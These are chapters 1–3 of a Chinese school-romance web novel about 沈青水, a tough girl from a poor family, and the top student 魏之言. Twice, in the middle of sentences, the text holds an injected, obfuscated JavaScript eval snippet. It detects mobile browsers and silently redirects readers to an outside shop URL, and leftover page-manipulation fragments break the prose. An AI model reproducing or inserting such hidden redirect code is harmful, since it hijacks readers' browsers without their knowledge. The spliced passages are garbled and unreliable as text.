《青青子衿》 1. 青青子衿 “如果说初遇时候太过惊艳,足够铭记好几百年。” ——《心许百年》 沈青水正用红笔勾划着文献里的关键句,笔尖在纸页上轻划的沙沙声,突然被对面转椅滑动的轱辘声打断。 “Hey,”室友艾米丽转过来,手肘支在桌沿,指尖拨弄着垂到胸前的金色卷发,“你上次说,在国内有过一段‘像老电影一样’的恋爱?” 她的蓝眼睛在暖光里亮得像玻璃珠,尾音带着点狡黠的上扬,视线落在沈青水骤然顿住的红笔上。 沈青水握着笔的手指几不可查地蜷缩了一下,笔帽顶端的橡胶圈蹭过指腹。 她抬眼时,刚好看见艾米丽把那杯茶往她这边推了推,茶勺碰撞杯壁发出叮的一声轻响,像戳破了某个沉寂的开关。 “怎么突然问这个?”她笑了笑,试图让语气听起来随意,目光却飘向窗外——那里的梧桐叶正被晚风卷着打转,路灯把叶影投在窗帘上,晃得像多年前某个夏夜的树影。 艾米丽挑了挑眉,身体往椅背上一靠,双手交叉放在脑后:“上周去酒吧,你看那个弹吉他的男生时,眼神和现在一模一样。” 茶烟又袅袅升起,模糊了两人之间的空气,沈青水看着杯底沉下去的茶包,忽然想起从前某个傍晚,也是这样的暖光里,有人接过她手上的购物袋,说“沈青水,想不想一起去北京”。 - 沈青水是家里的第二个孩子,她是女孩子,上有哥哥下有弟弟,所以理所应当地成为了最不受重视的那个。 她不喜欢呆在家里,母亲会用名为爱的枷锁束缚住她,让她为弟弟干这个干那个。 她喜欢一个人在小巷乱逛,顺便打击随地抢劫的小混混。 久而久之,她成了那片区的霸王。 但是她也不是见人就打的,她收留了一对兄妹,苏回和苏仪。 沈青水家庭富裕,是个货真价实的大小姐,难免又有些大小姐脾气。 母亲让她给弟弟做苦力会生气,同学没有分寸感会生气,看到自己“称霸”的地方有混子欺负人也会生气。 苏回和苏仪就是她的小弟,帮她打遍天下无敌手。 有心之人就偷偷记录下一切,同时学校里关于她是路霸女流氓的传言满天飞。 她倒也不在意。 - 那年初中毕业。 蝉鸣把七月午后的空气泡得发黏。 魏之言骑着辆除了铃铛不响哪儿都响的二手自行车,拐到巷口时车链忽然“咔哒”一声卡壳。 “小子,你撞到我了知道吗?” 他蹲下来掰链条,旁边突然窜出三个影子声称自己撞到了他们,他不以为意又有些心慌,加快了修车的速度。 这是他第一次走这条巷子,原本从补习班回来该走主路,但今早出门前奶奶让他到这儿的巷口捎点菜。 魏之言向来不会拒绝长辈,哪怕这里早已声名狼藉,还是推着车钻进了这条地图上都没标全的窄巷。 巷子很深,两侧是墙皮脱落的老楼,二楼的晾衣绳斜斜拉过头顶,滴下来的水珠砸在青石板上,隐隐约约地有些凹陷。 墙根堆着废弃的纸箱和旧家具,空气里混着霉味、油烟味,还有不知哪家窗口飘来的、廉价洗衣粉的柠檬香。 魏之言手心出了汗,不是热的,他有点烦躁。 “骑车不长眼啊?” 魏之言回头。 三个男生堵在巷子里,都比他高半个头,头发染得五颜六色,T恤领口松垮地敞着,露出脖子上劣质的金属链子。 说话的黄毛嚼着口香糖,一只脚踩着墙根的啤酒瓶,瓶身被踢得滚了半圈,发出玻璃摩擦地面的刺耳声。 “我好像没撞到你们。”魏之言的声音很冷,他一直靠着右侧骑行,距离他们还有半米远。 这些人要干什么人尽皆知。 “没撞到?”黄毛身边的绿毛突然捂住膝盖蹲下去,龇牙咧嘴地哼唧,“刚车轱辘都蹭到我腿了!你看这裤子,新买的,三百多呢!” 魏之言这才发现,绿毛的牛仔裤膝盖处确实有块灰,但那明明是刚才他蹲在地上蹭的。 “让开。” 他还是有点害怕,虽然为了防身学过散打,但毕竟没有实战过。 想到这里,他拽过车把手,想推车离开。 车筐里的习题册晃了晃,露出封面印着的“高一物理预习精讲”,这几个字在这种场合显得格外不合时宜。 “小子,穿校服的啊?”最后那个染着蓝毛的男生走过来,手指敲了敲魏之言的车筐,“家里给的零花钱不少吧?” “我没钱,只有命。”魏之言活动活动手腕,准备开打。 书包侧袋里其实有奶奶给的五十块菜钱,这一块的混混连警察都管不住,给他们点钱就能解决问题,但他并不想拿出来。 “没带?”黄毛嗤笑一声,伸手就去抓他的车把,“那这车看着还行,卖了赔医药费呗。” 他们动手,他就动手。 巷子里静得可怕,只有蝉鸣,还有绿毛刻意放大的哼唧声,像根针,一下下扎着他的神经。 “兄弟们,让这小子明白咱道上的规矩!” 黄毛话音刚落,蓝毛就扯魏之言书包带,黄毛挥拳袭来。 巷子里看戏的小太妹闭了眼,心想挺好一男的,这次怕是完蛋了。 果然惨叫连天,但小太妹心想不对,这怎么是那三混混的声音? 她睁眼一看,拍拍旁边高挑的女生,吓得结巴:“青青青青……青姐!那男的不简单啊!” 沈青水抬眼一扫,看起来文弱的男生竟把三个混混接连放倒。 魏之言看事情解决了,准备离开。 但是黄毛显然不想这么算了,从口袋里掏出折叠刀。 “诶诶诶,你们很吵诶。” 就在黄毛的手快要碰到他胳膊时,一道声音从背后响起,接着魏之言看到三人的眼神变了又变。 小太妹一个没注意,沈青水已经冲出去美救英雄了。 魏之言回头,那女生站在离他们三步远的地方,背对着光,看不清表情。 她穿一件洗得发白的黑色宽松T恤,下摆随意地塞进牛仔短裤里,露出一截细瘦却结实的腰。 头发是利落的短发,刚及耳垂,被风吹得微微翘起来。 “沈青水?你怎么在这儿?”蓝毛往后退了半步,眼神有点发虚。 被叫做沈青水的女生没说话,只是抬眼扫了他们一圈。 黄毛骂了句“操”,语气却没刚才那么横了。 “你们太吵了,我都听到了。” 沈青水摆摆手,黄毛的手立刻从车把上收了回去,绿毛也不哼唧了,麻溜地从地上爬起来,拍了拍裤子上的灰。 魏之言猜这个叫沈什么的女生做了什么,但是做了什么他不知道,因为他看不见沈青水轻蔑地那一眼。 “误会,就是跟这小兄弟闹着玩呢。”黄毛挤出个笑,语气里带着讨好。 “好啦好啦,知道啦,下次不要在别人睡觉的时候打架嘛。”沈青水笑笑,示意他们快走开。 沈青水当然不会在这个点睡觉了,这是表明了要罩着这个男生,再不走就显得太不懂事了。 只见沈青水径直走到魏之言的车筐前,刚才的拉扯让几本习题册滑了出来,散落在地上,其中一本的角被踩出个黑印。 她弯腰去捡,魏之言这才看清她的手,细软,指节分明,手腕上有一道胎记,像兔子。 她捡书的动作很 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16686437|188851||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 快,手指拂过书页时带起一阵风,把上面的灰尘吹得四散。 “……谢谢。”魏之言声音有点虚。 沈青水把几本习题册摞好,递给他:“以后走这条路小心点,很多他们这种人。” “谢谢。” 指尖碰到她手背的瞬间,魏之言觉得像被烫了一下,但是她的手却很凉,和这闷热的天气格格不入,他不知道该说什么,只能重复一遍又一遍谢谢。 她收回手,转身往巷子深处走,步子迈得很大,黑色T恤的衣角在风里晃。 “喂!” 魏之言下意识喊了一声,那瞬间,他可能想问问,问问这个像救世主般的女生,是不是叫——沈、青、水。 沈青水没停下脚步,也没回头,只是抬手往后摆了摆,像是在说“不用谢”,又像是在催他快走。 她的身影很快拐进巷子尽头的拐角,被一堵爬满爬山虎的墙挡住,只留下风吹过树叶的沙沙声。 他重新跨上自行车,车轮碾过青石板,发出咯噔咯噔的声响,像在替他数心跳。 骑出巷口时,阳光猛地涌过来,刺得他眯起眼。 魏之言回头望了一眼那条幽深的巷子,爬山虎在墙上投下晃动的影子,像谁的手指,轻轻勾了一下他的心。 他不知道沈青水是谁,不知道她住在哪户人家,甚至没记清她的脸。 但那个穿着黑T恤的短发背影,和她指尖的温度,却像颗投入湖面的石子,在他心里漾开了一圈又一圈的涟漪。 他更不知道,巷子尽头的拐角处,沈青水正靠在墙上,看着他的背影消失在路口。 她从口袋里摸出颗皱巴巴的糖,剥开糖纸扔进嘴里,柠檬味的酸甜在舌尖炸开。 刚才被她吓跑的黄毛其实是隔壁街的,上周还跟人抢一个初中生的零花钱,被她撞见,堵在网吧后巷揍了一顿。 “青姐,你救了那小子?”墙后探出个脑袋,是那个小太妹,手里还拿着根没吃完的冰棍,“长得不错啊,不过跟你之前喜欢的不是一个类型。” 沈青水点点头,盯着魏之言消失的方向,舌尖的糖慢慢化开,甜得有点发腻,有些口渴。 她刚才看见他骑车进来,白衬衫,好学生的样子,像只误入狼窝的兔子,但是战斗力却意外强悍。 可爱得有点可笑,那男生还比她高了一个头呢。 要知道,沈青水有一米六七,那男生至少有一米八了。 不知道会不会打篮球,好像学校里高的男生都会,他长得不错,打篮球的样子应该很帅,应该会有很多女孩子追他,不知道他怎么看待那些追求者的…… ……等等怎么越想越歪了。 “去给我拿瓶可乐,冰的。”沈青水扔给马尾女孩五块钱。 那家小卖部是马尾女孩的哥哥开的,五块钱是给马尾女孩的小费。 她转身往回走,糖纸被她折成纸飞机随手扔进垃圾桶,弧度很准。 小太妹跟在她身后,手里捧着沈青水扔过来的五块钱,叽叽喳喳地说:“那小子看着挺乖的,不像咱们这片的……” “本来就不是。”沈青水嘀咕着。 她的脚步顿了顿,阳光穿过树叶的缝隙落在她脸上,半明半暗。 她想起刚才递书时,他手背上的汗,和他那双干净得像水洗过的眼睛。 马尾女生小跑去小卖部给她拿可乐,她脑子里胡乱的想着什么。 偶尔有几个人来给她打招呼。 “青姐,给,可口的。” “嗯。”她应了一声,接过红色包装的可乐,声音还是有点哑,却比刚才多了点什么,那是被风吹起的、藏在树叶里的秘密。 巷子里,蝉鸣未停,盛夏依旧。 这就是他们的初遇。 2. 青青子衿 “我嫉妒你的爱气势如虹,像个人气高居不下的天后。” ——《天后》 九月烈阳炙烤着漓乡一中,开学季的喧嚣尚未褪去,军训余温仍在空气中弥漫。 沈青水没有参加军训,青水街“大小姐”的标签与“走关系入学”的流言如影随形,没人相信她中考690分、超录取线四十分的硬实力。 开学典礼上,她因只穿校裤未着校服,被班主任勒令回宿舍更换。 她在人群里慢慢走,欣赏校园美景,没有注意一道熟悉的身影站在前面,径直撞了过去。 “啊——对不起。” 她不是大小姐吗?怎么道歉比谁都快。 魏之言手里的发言稿掉在地上,他蹲下去捡,沈青水也蹲下去捡。 两人半蹲着四目相对。 沈青水的心跳猛地漏了一拍,她愣了愣,随即露出个笑容:“好巧,是你。” 魏之言握着发言稿的指尖顿了顿,抬头看见是沈青水时,也愣了半秒。 阳光下,她没穿校服,松垮的黑色T恤配着校裤,头发随意撩在耳后,露出的手腕上,兔子胎记还像上次那样清晰。 “是你。”魏之言接过发言稿,声音比平时软了些。 “你要去发言吗?”沈青水看了看魏之言手里的稿子,问道。 魏之言点点头,耳尖悄悄红了,他不擅长跟女孩子说话:“嗯,新生代表发言。你呢?怎么没穿校服?” 沈青水低下头,一言难尽,这怎么说? 说她沈青水从不穿校服,为的就是气死老班和校领导? 魏之言脱下校服外套递给她,说:“你先穿我的吧,虽然有点热,不过你不用跑这么远去宿舍换了。” “谢谢。”沈青水接过外套,思索片刻问道:“那……我洗干净明天还你?” 魏之言一顿,然后笑着,声音微微发虚地回答:“A栋403……明天中午十二点半我在A栋楼下等你好吗?” “好啊。” 这时广播里传来“请新生代表魏之言到主席台准备”的通知。 魏之言攥紧发言稿,抬头对沈青水笑了笑:“我先过去了,你快回班吧,开学典礼马上开始了。” “好。” 看着他转身走向主席台的背影,沈青水挑了挑眉,胸腔里心跳还在胡乱跳动。 原来他叫魏之言,名字和他的人一样,好看,好听。 她转身往操场自班走,没注意到魏之言走到主席台边时,还回头看了她一眼。 - 晚上沈青水回到宿舍发愁,她其实不太会洗衣服,以前在家里都是用的洗衣机,没怎么自己动手过。 她将水盆放满水,又开始思考用什么味道的洗衣液。 用她喜欢的玫瑰味?可是魏之言是男生诶,不会喜欢这个味道的吧。 可是除了这个她只有栀子味了,那个味道更冲。 沈青水同学拥有选择困难症,她不会取舍。 命运替她做了决定,玫瑰味的洗衣液被风吹倒,绯红色的液体流到水盆里。 沈青水注意到洗衣液倾倒赶紧将其扶起,绯红色的液体在清水里晕开,像今天傍晚的霞光。 “妈的,浪费我半桶!”沈青水低声骂了句,路过的同学一个激灵。 沈青水指尖戳了戳泛着泡泡的水面,叹了口气。 行吧,算他运气好,第一个用她洗衣液的人。 “不会洗坏吧……”她对着外套小声嘀咕,动作不自觉放软,连泡沫都不敢用力蹭。 洗到袖口时,指尖触到一块小小的硬痕,展开看才发现是钢笔墨水印,淡得几乎看不见,像是不小心蹭到的。 沈青水忽然想起白天他攥着发言稿的样子,指尖泛白,耳尖发红,大概是紧张得握笔太用力了。 她忍不住弯了弯嘴角,找了块肥皂反复搓那处墨痕,直到水变得清亮,才把外套拧干。 晾衣服时,晚风吹得外套晃了晃,玫瑰味混着皂角香飘过来。 第二天中午十二点二十五分,沈青水抱着叠得整整齐齐的校服外套站在A栋楼下。 外套带着淡淡的清香,边角也被她抚平,没有一丝褶皱。 她嘴上叼着糖,第一次把夏季校服穿的整整齐齐。 不过哪怕这样也没有经过的同学找她搭话。 她下意识把外套往怀里紧了紧,怕那点玫瑰香被吹散。 昨晚晾了半宿,她总担心味道太浓,又怕味道太淡,来回摸了好几次才敢叠起来。 “沈青水。” 熟悉的声音从身后传来,沈青水猛地回头,撞进魏之言带着笑意的眼睛里。 他穿着漓中的绿色校服,领口扣得整齐,手里还攥着个透明袋,装着一包草莓硬糖。 “你来得好早。”魏之言走近,耳尖又悄悄泛红,目光落在她怀里的外套上,“洗好了?” “嗯,”沈青水把外套单手拎着递过去,“我特意多漂了两遍,没留洗衣液的印子,就是……可能还有点玫瑰味,你不介意吧?” 魏之言接过外套,把手里的糖递过去,声音好似暖阳:“不介意,很好闻,这个给你,刚才路过小卖部买的,草莓味的,谢谢你帮我洗衣服。” 沈青水愣了愣,接糖的指尖碰到他的手,烫得她赶紧收回。 她低头剥糖纸,糖块的甜香混着外套的玫瑰香飘进鼻子,忽然想起昨天撞进他怀里的瞬间。 心跳加速的感觉,不止那一次。 “对了,”魏之言忽然开口,看着她含着糖鼓起来的脸颊,忍不住笑了,“昨天开学典礼,你坐在第几排?我发言的时候,好像看到你了。” 沈青水眼睛一亮,抬头看他,不过表情依旧淡淡的:“真的吗?我坐在最左边第三排。你发言很厉害,声音也好听。” “是吗?”魏之言耳尖微红,哈哈一笑,“我还怕紧张忘词……” 两人站在树荫下,你一句我一句地聊着,直到广播开始催学生回教室,沈青水才反应过来快上课了。 她往后退了两步,挥了挥手:“我先回班,下次再聊?” “好。”魏之言笑着回答。 这个夏天好像因为魏之言变得不一样了。 - 开学的第一个星期,学校组织周测,在自己班上考。 沈青水觉得有点遗憾,一到五班在一楼,六到十班在二楼。 魏之言在六班,她在二班。 幸好沈青水担任了数学课代表,每天借着交作业或者去找数学老师的借口上二楼。 经过六班的时候,总忍不住里面看,希望能看到那个熟悉的身影。 可是每次跟他对视上,又会装作不认识一样(或者是没看到),别开眼。 每次跟他对视,都会感受到一种偷窥被发现的羞耻和尴尬。 “青水!” 沈青水打算去数学老师办公室拿周测成绩单,又一次经过六班时,贾欣欣叫住了她。 “怎么了?”沈青水问她。 贾欣欣是她在班上唯一一个朋友,她不觉得自己的个混子,沈青水很开心。 贾欣欣露出比平时更灿烂的笑容,挽着她胳膊,说:“我陪你去。” 沈青水点点头:“好。” 沈青水看到六班后门一晃而过的衣角,不知道为什么,她觉得那是魏之言。 她假装跟贾欣欣说笑,实则余光一直看向六班后门,直到办公室。 - “这次周测,年级第一有两个,其中一个在我们班。” 班主任战术性停顿,吸引同学们的好奇。 “谁啊谁啊?” 沈青水也好奇是谁。 “恭喜数学课代表沈青水!大家掌声鼓励一下。” 教室里响起不情不愿的掌声。 沈青水的数学一向要好,她想知道另外一个年级第一是谁,是不是魏之言。 班主任继续说:“沈青水同学还是很有天赋的,这张试卷只有她和六班魏之言上了一百二。” 果然是他! 沈青水的心脏像被谁轻轻撞了下,连耳边那些不情不愿的议论声都模糊了。 她低头盯着桌角的划痕,嘴角却忍不住往上翘,他和她一样是年级第一。 下课后,贾欣欣立刻凑过来,戳了戳她的胳膊:“可以啊青水!居然跟六班那个学霸并列第一,你们俩也太有缘了吧!” “这算哪门子的缘分。”沈青水嘴上反驳,目光却不自觉往窗外飘,这里看不到二楼六班,什么也看不见。 她想起每次经过六班时,和他对视又慌忙躲开的样子。 他听到这个消息会怎么想? “还说没有!”贾欣欣挤了挤眼睛,压低声音,“我上次看到你经过六班,老往里面瞟,是不是在看魏之言啊?” 沈青水被戳中心事,皱了眉头,赶紧别过脸:“别瞎说,我就是路过。” 正说着,数学课代表的职责又找上门,要去办公室拿老师批改好的数学作业。 沈青水抱着作业本往办公室走,路过六班时,脚步下意识慢了半拍。 后门没关严,她眼角的余光刚好瞥见魏之言坐在窗边,正低头写着什么。 阳光落在他的发梢,连握笔的姿势都透着认真。大概是察觉到外面的目光,魏之言忽然抬头,视线直直撞进她的眼里。 沈青水像被抓包的小偷,心脏“咯噔”一下,赶紧抱着作业本往前走,脚步快了几分。 直到走进办公室,她才靠在门后喘了口气,抬手摸了摸发烫的脸颊。 刚才他看过来的时候,好像还对她笑了一下? 看错了吧?应该是。 应该是的。 晚上沈青水回到宿舍,她依旧冷冰冰的,吵闹的宿舍在她进来之后安静了不少。 “魏之言好帅好帅。” “听说他有喜欢的人了诶,真的假的?” “真的吧,我记得初中的时候他就有喜欢的人了。” 他有喜欢的人? 沈青水心里咯噔一下,本来想拿了衣服就走的,现在她磨磨蹭蹭不知道干什么。 “那他现在还单身吗?” “单身吧,他好像没有追到那个女生。” 不知道为什么,听到这里沈青水呼出一口气,心里轻松不少。 他有喜欢的人,那她怎么办? 不对,什么怎么办,她跟他有什么关系? 只是见过两面的陌生人而已,顶多算关系好的同学了。 她想着想着,熄灯时间到了,“啪”的一声宿舍断了电。 糟糕!衣服还没洗! 她很懊恼,眉头紧锁,面色不大好。 在其他人看来她是生气了,不知道气什么,也许是她们刚刚聊的话题?所以宿舍的声音渐渐弱下去。 - 学校两周放一次假,今天刚好放假,教室里的书包拉链声、桌椅挪动声裹着躁动,唯独值日区的争执像颗硌人的沙粒,沉在喧闹底里。 贾欣欣捏着值日生名单的指尖泛白——半小时前,安茹佳找她换值日,说家里有急事,她想着晚上约了人,便如实拒绝了;没承想刚收到消息,晚上的事临时取消,同班的林晓又来商量换班,她念着林晓上周帮过自己,便点头应了。 本是两桩各不相干的事,却被折返取东西的安茹佳撞个正着,醋意裹着戾气,瞬间炸开了锅。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16686438|188851||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “贾欣欣你什么意思?不想帮我就明说,转头倒给别人当好人!”安茹佳的声音尖得像划玻璃,“果然近朱者赤近墨者黑,跟沈青水那种小太妹混在一起,能有什么好心思!” “她不就是个青水街来的混子吗?你天天跟着她,是给她交了多少保护费,这么死心塌地?” 最后一句刚落地,教室后门“吱呀”一声被推开。 沈青水单手拎着书包站在门口,夕阳斜斜切过她的短发,在侧脸投下半道冷影。 她没说话,径直穿过散开的人群,伸手精准拽住安茹佳的头发,指节用力,迫使对方的头猛地向后仰,脖颈拉出一道紧绷的弧线。 “安茹佳,”她的声音很平,却像一座冰山,又沉又冷,“你刚才说什么?我没听清,再讲一遍。” 安茹佳被拽得头皮发麻,疼得眼泪都快出来了,却还硬撑着嘴硬:“我说的是事实!你本来就是青水街来的混混,跟你玩的能有什么好人!” “事实?”沈青水手指又收紧了些,眼神轻蔑,“我混不混跟你有关系?你算哪根葱,也配说别人?” 她歪了歪嘴角,笑里没半分暖意,目光像探照灯似的扫过安茹佳涨红的脸,从她攥紧的拳头落到她鞋面上沾着的、不属于校服的精致鞋扣。 “我是混子,能动手,绝不动口。” 贾欣欣慌忙扑过来拉她的胳膊,指尖碰到沈青水的手腕,才发现她的手指冰凉:“青水别动手啊!同学之间好好相处嘛。” 周围的同学都围过来,有人小声劝,有人偷偷看戏。 安茹佳见人多,更委屈了,哭喊道:“你还打我?我要告诉老师!你这种靠关系进来的,就该被开除!” “靠关系?”沈青水嗤笑一声,松开手时,安茹佳踉跄着往后跌了两步。 她抬手掸了掸校服外套的肩线,动作慢且稳,仿佛刚才只是掸掉了一粒无关紧要的灰,“我中考690分,比一中录取线高四十分。你呢?” 她往前逼近一步,影子将安茹佳整个人罩住:“你差三分没过线,是你妈托了教育局的远房亲戚,才把你塞进来的吧?” 这话像一把精准的凿子,敲碎了安茹佳最后一点伪装。 她的脸瞬间从红转白,又从白转青,手指着沈青水,嘴唇哆嗦着,半天挤不出一句完整的话:“你、你胡说……” “胡说?”沈青水的眼神更冷了,走到安茹佳耳边低语:“教务处的成绩存档还在,要不要现在就去调?或者,我帮你给你妈打个电话,问问她当初托人时,塞了多少红包?” 安茹佳的眼泪终于砸下来,却再没了刚才的嚣张,只剩憋闷的啜泣。 这时走廊里传来皮鞋敲击地面的声响,有人喊了句“班主任来了”,围拢的人群像被戳破的泡泡,瞬间散得只剩零星几个。 沈青水没回头,也没看瘫在椅子上的安茹佳,只侧身扯了扯贾欣欣的袖子,示意她走。 两人一前一后走出教室,楼梯间的窗户开着,风卷着楼下香樟树的气息涌进来,吹得沈青水的短发晃了又晃。 走到楼梯口,贾欣欣才松了口气,又有点担心:“青水,安茹佳要是把这事传出去说你欺负她怎么办啊?” “说呗。”沈青水揉了揉刚才拽头发时用力过猛的手指。 两人走到校门口,沈青水看到一道熟悉的身影站在树下—— 魏之言背着书包,手里还拿着两个粉色的冰淇淋。 沈青水脚步一顿。 她看到了他,他也看到了她。 阳光正好,风正好。 风从魏之言的方向吹向沈青水,她好似闻到了玫瑰的味道。 她对着魏之言笑笑,快步离开了。 因为她看到魏之言身后的女生抢走了他的冰淇淋,魏之言没有反应。 那个冰淇淋应该就是给她的。 贾欣欣看到此,问:“青水,原来你真的喜欢魏之言啊。” 是的,她认命了,她喜欢魏之言。 “你不要告诉别人。”沈青水这么说。 “好!”贾欣欣也这么答应她。 “诶,那是什么?”贾欣欣指着几个骑着自行车的杀马特少年。 沈青水深呼吸一口,努力平静自己的情绪:“我要走了,再见。” “……” 贾欣欣愣了愣,“噢噢……噢噢好。” 应该是没想到她真的是混子。 领头的是她的亲弟弟沈沐风,青水街真正的混混头子。 其余的人对她吹了一个流氓哨,沈青水真的很想直接走开不理他们。 “沈沐风,你不要在我学校门口这么搞好吗?” “我跟你说了多少次?” 最终沈青水还是坐上了沈沐风的后座。 无奈是自己的亲弟弟。 “姐,下次一定让你风风光光的。” 沈青水猛地给他后脑勺一巴掌:“老娘不需要!下次不要来偷我自行车!” 对,沈沐风骑的这辆自行车是给沈青水上学用的。 “我不听我不听。” “……” 沈青水问:“沈沐风你知不知道自己现在初三马上要中考了?” “这个时间点你还没有放学吧?” 灵魂拷问让沈沐风说不出话来,他解释道:“是哥让我来接你的,他说我不学就来接你。” “哥高二还没放学呢,怎么联系你?” “昨天哥给妈打电话了,我接的。” 沈青水颇感无奈:“下次把电话给妈,哥能打电话的时间不多。” “哦,知道了。” 沈青水有点担心,刚刚那一幕魏之言看到没有,他会怎么想她? 3. 青青子衿 “不用开口,也就无需躲藏。” ——《有一种悲伤》 到达家门前的巷子口,沈沐风把沈青水放下,又恶狠狠地叮嘱她不准把这事告诉母亲才转身要走。 临了,他忽然回头朝她挥手,声音亮堂:“老姐!姐弟一辈子!” “滚滚滚。” “好嘞。” 说完不见踪影。 沈青水望着巷口,沈沐风的背影早已消失,但是她还不知道在等什么。 推开门,母亲的咒骂声先一步撞进耳朵:“怎么成天出问题,又出问题!” 沈青水小心翼翼地进屋,却逃不出母亲的火眼金睛。 “沈青水!去巷口把我订的东西拿回来!自己带钱!愣着干什么?快去啊!”母亲一边套外套一边催,语气没半分停顿,“我出去办点事,你拿完东西记得放冰箱,把酸奶拿出来——你弟回来要喝,听见没?!” 沈青水点头:“听到了。” “还有,把饭蒸上!我回来炒菜!要是一个小时后我没回来就去门口餐馆打包几个菜!你弟上学辛苦,别让他饿着,知道吗?” “知道了。”她低声应着,心里却忍不住犯嘀咕:沈沐风也配得上“上学辛苦”这四个字? 母亲的电话响个不停,她一边对着电话骂骂咧咧,一边急匆匆出了门,连门都没带严。 没有自行车,沈青水只能走路把东西搬回来。 她换了身简单的上衣配牛仔短裤,短发随意扎起,嘴上还叼颗糖——虽然这是她的传统。 母亲说的地方在巷口的代购店,专去大城市替别人买东西。 “林阿姨,我来拿我妈订的东西。”沈青水走上前。 “是青青啊,”林阿姨笑着指了指柜台后的袋子,“一共一百二十八块。” 在那会儿,一百二十八块可不是小数目——这也是街坊邻里总觉得沈青水“有钱”,甚至私下叫她“混混头子”的原因之一。 她父母是白手起家,日子好起来后没搬走,还总帮衬着邻里,大家其实都很尊重他们一家。 “阿姨,您等一下,我再看看有没有想买的。”沈青水的目光扫过货架,停在一盒巧克力蛋糕上。 蛋糕做得精致,可她一个人肯定吃不完。 她不想给沈沐风也不想给兄长沈望川,他们有的她没有,她有的他们一定也有,这不公平。 旁边一位阿姨问她:“姑娘啊,这个蛋糕你要吗?我们分?” 沈青水一喜:“好啊,可以啊。” 可那阿姨一问完价格,立刻摇了摇头,讪讪地跟林阿姨说:“那我订的东西,等我儿子来拿吧。”说完,匆匆走了。 沈青水想起了魏之言,他会喜欢吃蛋糕吗? 不吧,男生好像都不喜欢吃甜食。 “沈青水?好巧,又是你。” 熟悉的声音从背后响起,一下又一下地敲打着她的心。 “魏之言?” 沈青水回头,撞进魏之言带着笑意的眼睛里。 他的没换校服,长袖外套卷到小臂,看样子也是来店里买东西的。 沈青水欲言又止,问:“你来……” “我来拿东西。” 魏之言没等她说完便迫切地告诉她答案,两人皆是愣了一下。 良久,魏之言说:“我帮你提?我送你回家吧。” “好。” 巷子里的风带着点傍晚的凉气,吹得她发梢轻轻摇晃。 魏之言走在她旁边,步伐不快,刚好能跟她并肩。 他没怎么说话,只偶尔瞥见她嘴里叼着的糖,眼神里藏着点笑意。 那天也是沈青水记忆深刻的一天,魏之言送她回家了。 “沈青水,你好像不太开心。”魏之言率先开口。 沈青水意外于他居然能看出来,猛地看向他。 看到魏之言那双看破一切却依旧温柔的眼眸她又不敢与之对视,转头回去连眨了好几次眼睛掩饰自己的慌张。 “我就是……” “嗯?”他的声音又近了些,带着耐心的等待。 “我就是,这次没考好,有点难学。” 魏之言脚步顿了顿,侧过头看她。 夕阳把他的影子拉得很长,落在沈青水脚边,暖融融的。 “哪科难?”他声音放得很轻,像巷口吹过的风,“英语吧,你数学不错,物理化学这些应该也不是问题。” “……其实都有点。”她含糊地应着,眼神飘向旁边的老槐树,树叶被风吹得哗啦响,“感觉别人一看就懂,我要琢磨半天。” “正常。”魏之言笑了笑,“我刚学高中英语的时候也卡了快两周,多积累一些单词,记到本子上,每天睡前看一遍就好了。” 沈青水点点头:“好,我试试。” “沈青水,你想不想去北京?” 风又吹过来时,魏之言忽然开口,语气像随口提起,目光却飘向了巷子口外更远的地方。 那里的夕阳正慢慢沉下去,染得半边天都是暖橙。 沈青水的脚步顿住了,风吹过魏之言的发梢,她抬头看他,夕阳刚好落在他睫毛上。 “北京?”她愕然着重复了一遍。 “嗯,跟我一起去。” 他补充说:“你知道荣誉榜上的方谨呈学长吗?他就是我的奋斗目标。” “公大?”沈青水点点头,2012级的方谨呈学长和尚诗情学姐也是校网论坛的两大传奇。 其中方谨呈放弃清华考公大的事情传得沸沸扬扬。 “不,是清华。”魏之言说。 “……你觉得我能考到北京?”她抬头问,眼睛里带着点不确定。 魏之言看着她,忽然笑了:“当然,我第一次见到数学这么好的女孩子。” 他往前凑了凑,声音轻轻的,却字字都落进她心里:“所以你当然可以,你的未来一定很精彩,未来可期啊沈同学。” 未来可期吗? 北京吗? 谢谢你魏之言,我知道怎么逃离这个地方了。 沈青水看着他的眼睛,他的眼睛很亮很清澈,她看到了远方。 “好。”沈青水笑了笑,认真的点点头,这次分外认真。 沈青水还没从那句“未来可期”里缓过神,嘴角的笑意刚漫到眼底,巷口就传来母亲尖利的声音,像块冰碴子砸进暖融融的风里: “沈青水!你死在外面了?!” 她浑身一僵,转头就看见母亲叉着腰站在自家门口,脸色低沉。 “妈……” 沈青水刚喊出一声“妈”,声音就被母亲劈头盖脸的训斥压了下去:“喊我干什么?让你拿个东西磨到现在!家里电饭煲的插头都没插,你弟放学回来喝什么酸奶!吃什么饭!” 魏之言不动声色地将沈青水往后拉,向沈青水的母亲微微鞠了个躬:“阿姨不好意思,是我打扰沈同学帮我解惑的,她这次考试数学年级第一,我觉得特别厉害。” “年级第一?”沈青水的母亲愣了一下,怨恨地看向沈青水,觉得是她让自己丢脸了。 “女孩子成绩好有什么好炫耀的?有时间多给你弟弟补补!” 然后看着魏之言笑道:“同学辛苦你了,还帮这个死丫头搬那么远,你先走吧,让她自己搬进来。” 